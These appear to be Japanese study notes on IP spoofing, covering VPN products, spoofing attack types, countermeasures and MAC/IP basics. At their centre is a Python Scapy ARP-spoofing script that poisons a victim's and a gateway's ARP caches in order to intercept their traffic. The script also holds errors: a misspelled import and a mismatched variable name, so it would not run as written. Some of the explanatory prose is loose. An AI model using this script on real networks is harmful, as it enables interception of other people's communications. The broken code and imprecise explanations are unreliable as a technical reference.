ip偽装の方法

IP偽装の仕組み: パケットヘッダー(IPヘッダー)の送信元アドレスを変更する

### VPNソフトによる偽装
1)iTopVPN
暗号化プロトコル、暗号化通信、地域制限回避などのVPNソフト

2)Hotspot Shield
6億人ユーザがいると言われている。無料版ではUSサーバのみ利用でき、通信速度は2MB

3)hide.me
30日間だけ無料

4)Proton VPN

5)TunnelBear

### ブラウザChrome, firefox, OperaでIPアドレスを偽装する
6)Betternet Unlimited Free VPN Proxy
7)anonymoX
8)OperaVPN

###IPスプーフィングの種類
1. 分散型サービス拒否(DDoS)攻撃
L 大量のデータパケット送信によりコンピュータサーバに負荷をかける

2. ボットネットデバイスマスキング
L 単一ソースからマスキングすることで、大量のコンピュータへ攻撃を仕掛ける

3. 中間者攻撃
L 2台のコンピュータ間の通信を中断してパケットを変更し、知らないうちに送信して攻撃する

IPスプーフィング攻撃はネットワーク層で実行されるため、改竄の痕跡を見つけることが困難
=> パケットフィルタリング、変則的なアクティビティ監視、認証方法の強力化、IPv4からIPv6への移行など包括的な対策が必要

ハッカーは3ウェイハンドシェイクの前、SYN-ACKメッセージを送信する前に3ウェイハンドシェイクを妨害する。
自分のデイバイスアドレスと送信者のなりすましIPアドレスを含む偽の確認メッセージを送信する
信頼できるIPからの接続のみを許可しているシステムにも当てはまる。そのため、信頼したIP自体も管理しないといけない
DDoS攻撃ではボットネットに感染したデバイスによって行われることが多い

#coding:utf-8
from scapy.all immport *
import time
import sys

conf.verb = 0
gateway_ip = sys.argv[1]
gateway_mac = sys.argv[2]
target_ip = sys.argv[3]
target_mac = sys.argv[4]

def main():
	try:
		print "[*] Start ARPspoofing..."
		position_target(target_ip, target_mac, gateway_ip, gateway_mac)
	except KeyboardInterrupt:
		pass
	finally:
		time.sleep(2)
		restore_table(gateway_ip, gateway_mac, target_ip, target_mac)
		sys.exit(0)

def position_target(target_ip, target_mac, gateway_ip, gateway_mac):
	positioning_target = Ether(dst=target_mac)/ARP()
	positioning_target.op = 2
	positioning_target.psrc = gateway_ip
	positioning_target.pdst = target_ip

	poisoning_gateway = Ether(dst=gateway_mac)/ARP()
	poisoning_gateway.op = 2
	poisoning_gateway.psrc = target_ip
	poisoning_gateway.pdst = gateway_ip

	while True:
		sendp(poisoning_target)
		sendp(poisoning_gateway)
		time.sleep(5)
	print "[*] Finished."
	return

def restore_table(gateway_ip, gateway_mac, target_ip, target_mac):
	print "[*] Restoring target."
	send(ARP(op=1, psrc=gateway_ip, hwsrc=gateway_mac, pdst=target_ip, hwdst=target_mac), count=3)

if __name__=="__main__":
	main()

MACアドレスとはネットワークに接続する全ての機器に割り当てられる固有の識別番号
A1:A2:A3:00:00:01
48ビット(6バイト)で構成され、前半6桁はベンダーコード
後半の6桁は所属ネットワーク機器の型番や詳細(ユニーク)

IPアドレスはインターネットプロトコルにおける通信相手先を識別するための番号

同じセグメントだけであればMACアドレスだけで良いがセグメントが異なる場合にはIPアドレスが必要
MACアドレスは送信する際のルータなどを記述する

IPヘッダ